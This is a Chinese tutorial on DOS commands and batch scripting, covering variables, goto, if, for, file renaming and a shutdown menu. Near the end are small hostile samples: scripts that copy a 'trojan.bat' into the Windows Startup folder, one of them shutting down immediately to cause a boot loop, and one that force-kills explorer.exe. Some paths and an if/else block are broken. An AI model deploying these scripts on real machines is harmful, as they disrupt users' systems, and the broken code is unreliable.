DOS命令和bat脚本

DOS命令和bat脚本

参考:

http://docs.30c.org/dosbat/chapter05/index.html

Linux命令对比

Windows Linux
cls clear
md mkdir
rd rm
echo echo
dir pwd
type cat
del rm
attrib修改文件属性
copy cp
move同样也可以重命名文件 mv
shutdown shutdonw
tasklist ps
taskkill kill
  • runas /noprofile /user:administrator cmd 以管理员身份运行Dos窗口,需要设置密码

  • start如果后面不加参数打开dos窗口, 配合标签无限打开dos窗口

  • call 调用批处理脚本或标签块

  • help列出所有Dos命令

  • 命令后面使用斜杠加问好查看dos命令copy /?

  • dir /a等价于ls /a

  • copy con test.txt多行输入, con(console)代表控制台,CTRL + z退出

  • type 可以使用管道符

    type test.txt | grep more等价于 cat test.txt | grep more

  • del 可以删除文件和目录, 后面跟目录表示删除当前目录下所有的文件, 也可以使用通配符

    del *.txt删除当前根目录下所有的txt文件

  • attrib +H ./* 隐藏当前文件夹下的所有文件,不需要管理员权限

  • fsutil

    fsutil file createnew test.txt 102400创建一个100KB的文件但是内容为空,可以将文件隐藏

  • assoc

    assoc .txt=exefile将后缀为txt文件变成可执行文件

    assoc .txt=txtfile将后缀txt文件还原会txt文件

  • shutdown

    /a 终止系统关闭

    /t 指定在多长时间后执行 shutdown -s -t 0立即关机, 已秒为单位

    /f 强制

    /r 重启

    /s 关机

    /l 注销 == logoff

    /c 加入comment

Dos系统变量

参考:

https://www.cnblogs.com/lbnnbs/p/4781448.html

bat批处理

执行bat脚本会在一个Dos窗口中顺序执行脚本中的所有命令,回显执行的命令

  • 在dos中同样存在逻辑短路

    netstat /a /n | find "7626" && echo 已被冰河感染 || echo 未被冰河感染 。
    
  • pause

    默认不会挂起,将执行脚本的当前窗口挂起

  • @

    不回显输入的命令

    echo hello world
    @echo 你好
    pause
    

  • echo

    echo 在Dos窗口中输出内容

    echo off, 在该命令之后的所有命令都不会回显,但是当前的echo off 会回显

    echo on,重新回显命令,缺省值

    @echo off,echo off命令也不会回显

    >, >>同linux中命令相同

  • title

    更改bat调用Dos窗口的标题

  • set

    注意赋值符左右不能有空格

    set /a 赋一个数值变量, 默认以字符串处理

    set /p 用户输入一个值

    通过%%访问变量的值

    set /p   a=hello world
    这里的a并不等于hello world 而等于用户给定的值
    

    将a的值赋给b

    echo hello world
    set /a var =100
    set /a b =%var%
    echo %b%
    pause
    

    子串,index 从0开始

    set var=12345
    echo %var:~1% # 2345 [1:]
    echo %var:~1,2% #23  [1:3]
    echo %var:~-1%  #5 [len(var)-1:]
    echo %var:~0,3% #123 [:4]
    pause
    

    替换

    set var=hello world
    echo %var:o=a% #hella warld
    pause
    
  • goto

    配合标签使用(标签同样会顺序执行),类似于golang中的goto,但是冒号方向不同, 不需要提前定义

    echo hello world
    goto 2
    :1
    echo hello
    :2
    echo world
    pause
    

一般定义一个标签作为bat结束处理

这里ERRORLEVEL是系统变量,如果出错为1,否则为0

@echo off
if %ERRORLEVEL% == 0 goto 0
else %ERRORLEVEL% == 0 goto 1
goto 2
:0
echo 0
goto 2
:1
echo 1
goto 2
:2
echo 2
pause
  • call

    与goto相似但是需要带上冒号,不是调用,同时也可以加上路径调用bat文件

    #这里是一个循环
    echo hello world
    :1
    echo nihao
    call :1
    pause
    
  • start

    后面不更参数表示,开启一个dos窗口

    start notepad
    start mspaint
    start www.baidu.com
    
  • if

    具体参照if /?, 括号可以省略

    @echo off
    set var=tom
    if %var%==tom echo tom
    if %var%==jerry (
    echo jerry
    )
    if not %var% == henry echo fake
    echo hello world
    pause
    

    if exist

    判断文件是否存在

    if exist "D:	est my foldera.txt" (
    del "D:	est my foldera.txt"
    ) else (
    echo 您所要删除的文件不存在
    )
    

    if defined

    判断变量是否存在,注意这里不加%%

    @echo off
    set var=tom
    if defined var echo %var%		
    goto ans%ERRORLEVEL%
    pause
    
  • if-else

    这里的%Time%是环境变量, lss 是if的扩展表示小于

    @echo off
    if %TIME:~0,2% lss "12" (
    echo 现在是上午
    ) else (
    echo 现在是下午
    )
    pause
    
  • for

    参考:

    https://www.cnblogs.com/DswCnblog/p/5435300.html

    http://docs.30c.org/dosbat/chapter04/index.html

    类似forrange,foreach

    1. for, in ,do是循环语句的关键字
    2. %%i 是对形式变量的应用(这里的%相当于转译符),就算do语句中没有使用,也一定要出现
    3. in表示范围
    echo hello world
    for %%i in (1 2 3 4) do echo %%i
    pause
    

在脚本中调用脚本

@echo off
hello
--------
@echo off
echo hello world
pause

两个脚本在同一级目录, test.bat 和 hello.bat, 调用test.bat会调用hello.bat

处理文件

遍历字符串或是文件

@echo off
for /f %%i in ("hello") do echo %%i
for /f %%i in (hello.txt) do echo %%i 
pause

遍历当前目录下的所有文件

@echo off
for %%i in (*.txt) do echo "%%i"
pause

批量修改文件

@echo off
title 批量修改文件名
setlocal EnableDelayedExpansion


:GetPath
set zpath=%CD%
set /p zpath=请输入目标文件所在的路径:
if %zpath:~0,1%%zpath:~-1%=="" set zpath=%zpath:~1,-1%
if not exist "%zpath%" goto :GetPath


:GetPrefix
set prefix=未命名
set /p prefix=请输入文件名前缀(不能包含以下字符/:*?"<>|):
for /f "delims=/:*?<>| tokens=2" %%i in ("z%prefix%z") do goto :GetPrefix


:GetExt
set ext=.*
set /p ext=请输入文件的扩展名(不输入则表示所有类型):
if not "%ext:~0,1%"=="." set ext=.%ext%


set answer=N
echo.
echo 您试图将 %zpath% 里的所有 %ext% 类型的文件以 %prefix% 为前缀名进行批量改名,是否继续?
set /p answer=继续请输入 Y ,输入其它键放弃...
if "%answer%"=="Y" goto :ReadyToRename
if "%answer%"=="y" goto :ReadyToRename

echo 放弃文件改名,按任意键退出... & goto :PauseThenQuit

:ReadyToRename

set /a num=0
echo.

if "%ext%"==".*" (
for %%i in ("%zpath%*%ext%") do (
set /a num+=1
ren "%%i" "%prefix%!num!%%~xi" || echo 文件 %%i 改名失败 && set /a num-=1
)
) else (
for %%i in ("%zpath%*%ext%") do (
set /a num+=1
ren "%%i" "%prefix%!num!%ext%" || echo 文件 %%i 改名失败 && set /a num-=1
)
)

if %num%==0 echo %zpath% 里未发现任何文件。按任意键退出... & goto :PauseThenQuit

echo 文件改名完成,按任意键退出...

:PauseThenQuit
pause>nul

添加文件到自动启动栏

如果路径中存在特殊字符需要使用引号标识, >nul 结果不往命令行输出, dos默认 >con输出到控制台

@echo off
echo you have been hacked.
copy trojan.bat "%userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup">nul
echo bingo!!!

循环关机

@echo off
echo you have been hacked.
copy trojan.bat "%userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup">nul
shutdown -s -t 0

删除桌面进程

@echo off
color 0a
taskkill /im  explorer.exe /f
for %%i in(1 2 3 4 5)do ping /n 1 localhost>nul&&echo %%i
pause
start c:/windows/expolrer.exe
pause

案例

@echo off
title 小程序 v 1.0
color 0a
:menu
echo ===========
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo ===========
set /p num=您的选择:
if "%num%" == "1" goto 1
if "%num%" == "2" goto 2
if "%num%" == "3" goto 3
:1
set /p a=请输入时间(单位/秒):
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
goto menu
:3
exit
原文地址:https://www.cnblogs.com/kikochz/p/13568608.html